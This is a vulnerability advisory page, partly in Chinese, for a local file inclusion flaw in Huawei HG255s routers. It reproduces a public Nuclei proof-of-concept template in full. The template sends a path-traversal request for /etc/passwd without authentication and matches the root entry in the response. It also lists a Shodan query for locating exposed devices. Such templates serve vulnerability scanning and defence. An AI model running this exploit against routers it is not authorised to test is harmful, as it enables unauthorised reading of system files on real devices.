huawei-hg255s-lfi: Huawei HG255s - Local File Inclusion

日期: 2025-08-01 | 影响软件: Huawei HG255s | POC: 已公开

漏洞描述

Huawei HG255s is vulnerable to local file inclusion due to insufficient validation of the received HTTP requests. A remote attacker may access the local files on the device without authentication.

PoC代码[已公开]

id: huawei-hg255s-lfi

info:
  name: Huawei HG255s - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Huawei HG255s is vulnerable to local file inclusion due to insufficient validation of the received HTTP requests. A remote attacker may access the local files on the device without authentication.
  reference:
    - https://cxsecurity.com/issue/WLB-2017090053
    - https://www.youtube.com/watch?v=n02toTFkLOU
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:h:huawei:hg255s:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.html:"HG532e"
    product: hg255s
    vendor: huawei
  tags: huawei,lfi,router,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a004630440220415633c055054ef6f3b958f00731e7c804c26534af38e5264e2d4d804b9f215202205a8721efae6616f3c1dd09d9badfb59de96cc413455f27f767e28de8ec7f0aae:922c64590222798bb761d5b6d8e72950